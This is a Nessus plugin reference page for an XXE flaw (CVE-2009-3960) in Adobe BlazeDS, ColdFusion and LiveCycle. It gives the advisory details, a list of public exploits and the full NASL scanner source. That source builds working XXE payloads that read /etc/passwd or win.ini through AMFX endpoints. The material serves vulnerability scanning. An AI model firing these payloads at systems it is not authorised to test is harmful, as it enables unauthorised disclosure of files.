Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05) - Nessus

Medium Plugin ID: 44937

This page contains detailed information about the Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 44937
Name: Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
Filename: adobe_multiple_products_xxe.nasl
Vulnerability Published: 2010-02-11
This Plugin Published: 2010-03-01
Last Modification Time: 2022-04-11
Plugin Version: 1.27
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl

Vulnerability Information

Severity: Medium
Vulnerability Published: 2010-02-11
Patch Published: 2010-02-11
CVE [?]: CVE-2009-3960
CPE [?]: cpe:/a:adobe:blazeds, cpe:/a:adobe:coldfusion, cpe:/a:adobe:flex_data_services, cpe:/a:adobe:lifecycle, cpe:/a:adobe:lifecycle_data_services

Synopsis

The remote host is susceptible to XML External Entity (XXE) attacks.

Description

The remote host appears to be running an Adobe product that is susceptible to XML External Entity (XXE) attacks. The installed version of the product fails to block the use of external XML entities while using the HTTPChannel to transport data in AMFX format. A remote, unauthenticated attacker could exploit this vulnerability to read arbitrary files from the remote system.

According to the Adobe advisory, Adobe BlazeDS, LiveCycle, LiveCycle Data Services, Flex Data Services and ColdFusion are known to be affected by this issue.

Solution

Apply the appropriate vendor-supplied patches.

Public Exploits

Target Network Port(s): 80, 8400, 8500
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB, Immunity Canvas, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05) vulnerability:

Exploit-DB: exploits/multiple/dos/11529.txt
[EDB-11529: Adobe (Multiple Products) - XML External Entity / XML Injection]
D2 Elliot: adobe_xml_external_entity_file_disclosure.html
[Adobe XML External Entity File Disclosure]
Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2009-3960
CVSS V2 Vector: AV:N/AC:M/Au:N/C:P/I:N/A:N/E:H/RL:OF/RC:C

CVSS Base Score:	4.3 (Medium)
Impact Subscore:	2.9
Exploitability Subscore:	8.6
CVSS Temporal Score:	3.7 (Low)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	3.7 (Low)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(44937);
  script_version("1.27");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2009-3960");
  script_bugtraq_id(38197);
  script_xref(name:"EDB-ID", value:"11529");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/09/07");
  script_xref(name:"SECUNIA", value:"38543");

  script_name(english:"Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is susceptible to XML External Entity (XXE)
attacks.");
  script_set_attribute(attribute:"description", value:
"The remote host appears to be running an Adobe product that is
susceptible to XML External Entity (XXE) attacks.  The installed
version of the product fails to block the use of external XML entities
while using the HTTPChannel to transport data in AMFX format.  A
remote, unauthenticated attacker could exploit this vulnerability to
read arbitrary files from the remote system. 

According to the Adobe advisory, Adobe BlazeDS, LiveCycle, LiveCycle
Data Services, Flex Data Services and ColdFusion are known to be
affected by this issue.");
  # http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6688a1e2");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2010/Feb/197");
  script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/bulletins/apsb10-05.html");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate vendor-supplied patches.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2009-3960");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Adobe XML External Entity File Disclosure");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"D2ExploitPack");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/02/11");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/02/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:lifecycle");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:lifecycle_data_services");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:flex_data_services");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:coldfusion");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:blazeds");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8400, 8500);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);

# Make a list of known HTTPChannel endpoints.

# Check for sample apps only if thorough_tests
# are enabled

if(thorough_tests)
{
  if (get_port_transport(port) > ENCAPS_IP)
  {
    urls = make_list(
      "/flex2gateway/http", # ColdFusion 9 (disabled by default)
      "/flex2gateway/httpsecure", # ColdFusion 9 (disabled by default)
      "/messagebroker/http",
      "/messagebroker/httpsecure",
      "/blazeds/messagebroker/http", # Blazeds 3.2
      "/blazeds/messagebroker/httpsecure", #
      "/samples/messagebroker/http", # Blazeds 3.2
      "/samples/messagebroker/httpsecure", # Blazeds 3.2
      "/lcds/messagebroker/http", # LCDS
      "/lcds/messagebroker/httpsecure", # LCDS
      "/lcds-samples/messagebroker/http", # LCDS
      "/lcds-samples/messagebroker/httpsecure"); # LCDS
  }
  else
  {
    urls = make_list(
      "/flex2gateway/http", # ColdFusion 9 (disabled by default)
      "/messagebroker/http",
      "/blazeds/messagebroker/http", # Blazeds 3.2
      "/samples/messagebroker/http", # Blazeds 3.2
      "/lcds/messagebroker/http", # LCDS
      "/lcds-samples/messagebroker/http"); # LCDS
  }
}
else
{
  if (get_port_transport(port) > ENCAPS_IP)
  {
    # nb : Both endpoints (http/httpsecure) are vulnerable on
    #      encrypted ports.

    urls = make_list(
      "/flex2gateway/http", # ColdFusion 9 (disabled by default)
      "/flex2gateway/httpsecure", # ColdFusion 9 (disabled by default)
      "/messagebroker/http",
      "/messagebroker/httpsecure", # Blazeds 3.2
      "/blazeds/messagebroker/http", # Blazeds 3.2
      "/blazeds/messagebroker/httpsecure",
      "/lcds/messagebroker/http", # LCDS
      "/lcds/messagebroker/httpsecure"); # LCDS
  }
  else
  {
    urls = make_list(
      "/flex2gateway/http", # ColdFusion 9 (disabled by default)
      "/messagebroker/http",
      "/blazeds/messagebroker/http", # Blazeds 3.2
      "/lcds/messagebroker/http"); # LCDS
  }
}

os = get_kb_item("Host/OS");
if (os)
{
  if ("Windows" >< os) injections = make_list(
    '<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "c:\\windows\\win.ini"> ]>',
    '<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "c:\\winnt\\win.ini"> ]>');
  else injections = make_list(
    '<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "/etc/passwd"> ]>');
}
else injections = make_list(
  '<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "c:\\windows\\win.ini"> ]>',
  '<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "c:\\winnt\\win.ini"> ]>',
  '<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "/etc/passwd"> ]>');

injection_pats = make_array();
injection_pats['<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "c:\\windows\\win.ini"> ]>'] = "\[[a-zA-Z\s]+\]|; for 16-bit app support";
injection_pats['<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "c:\\winnt\\win.ini"> ]>'] = "\[[a-zA-Z\s]+\]|; for 16-bit app support";
injection_pats['<!DOCTYPE foo [ <!ENTITY nessus SYSTEM "/etc/passwd"> ]>'] = "root:.*:0:[01]:";

info = NULL;

foreach injection (injections)
{
  foreach url (urls)
  {
    exploit = '<?xml version="1.0" encoding="utf-8"?>' + '\n' +
      injection + '\n' +
      '<amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx">' + '\n' +
      '  <body>' + '\n' +
      '    <object type="flex.messaging.messages.CommandMessage">' + '\n' +
      '      <traits>' + '\n' +
      '        <string>body</string><string>clientId</string><string>correlationId</string>' + '\n' +
      '        <string>destination</string><string>headers</string><string>messageId</string>' + '\n' +
      '        <string>operation</string><string>timestamp</string><string>timeToLive</string>' + '\n' +
      '       </traits><object><traits />' + '\n' +
      '      </object>' + '\n' +
      '      <null /><string /><string />' + '\n' +
      '      <object>' + '\n' +
      '        <traits>' + '\n' +
      '          <string>DSId</string><string>DSMessagingVersion</string>' + '\n' +
      '        </traits>' + '\n' +
      '        <string>nil</string><int>1</int>' + '\n' +
      '      </object>' + '\n' +
      '      <string>&nessus;</string>' + '\n' +
      '<int>5</int><int>0</int><int>0</int>' + '\n' +
      '    </object>' + '\n' +
      '  </body>' + '\n' +
      '</amfx>';

     res = http_send_recv3(
       method:"POST",
       item:url,
       port:port,
       add_headers: make_array("Content-Type", "application/x-amf"),
       data:exploit,
       exit_on_fail:TRUE);

     match = egrep(pattern:injection_pats[injection], string:res[2]);

     if (
       res[2] &&
       "<amfx" >< res[2] &&
       (!empty_or_null(match))
     )
     {
       req = http_last_sent_request();
       output = NULL;

       if ("win.ini" >< injection)
       {
         file = "win.ini";
       }
       else file = "/etc/passwd";

       # Format output
       pos = stridx(match, "null/><string>");
       if (pos > 0 && !empty_or_null(pos))
       {
         output = substr(match, pos);
         output = output - "null/><string>";
       }
       # Should never reach this, but just in case
       if (empty_or_null(output))
         output = extract_pattern_from_resp(string:res[2], pattern:'RE:'+injection_pats[injection]);

        output = data_protection::redact_etc_passwd(output:output);
        info += '\n' + 'HTTPChannel Endpoint : ' + url + '\n';
        snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
        info += '\n' +
          'Nessus was able to exploit the issue to retrieve the contents of ' +
          '\n' + "'" + file + "'" + ' using the following request :' +
          '\n\n' +req +'\n\n' +
          'This produced the following truncated output (limited to 10 lines) :' +
          '\n' + snip +
          '\n' + beginning_of_response2(resp:output, max_lines:10) +
          '\n' + snip +
          '\n';
     }
     if (!isnull(info)) break;
  }
  if (!isnull(info)) break;
}

if (!isnull(info))
{
  if (report_verbosity > 0)
  {
   report = '\n' +
      "Nessus found following vulnerable HTTPChannel endpoint : " + '\n' +
        info + '\n';
     security_warning(port:port, extra:report);
  }
  else
     security_warning(port);
}
else exit(0, 'Nessus did not identify any affected endpoints on the webserver listening on port '+ port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/adobe_multiple_products_xxe.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\adobe_multiple_products_xxe.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/adobe_multiple_products_xxe.nasl

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How to Run

Here is how to run the Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05) plugin ID 44937.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl adobe_multiple_products_xxe.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a adobe_multiple_products_xxe.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - adobe_multiple_products_xxe.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state adobe_multiple_products_xxe.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

38197

Secunia Advisory:

38543

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file adobe_multiple_products_xxe.nasl version 1.27. For more plugins, visit the Nessus Plugin Library.

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Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05) - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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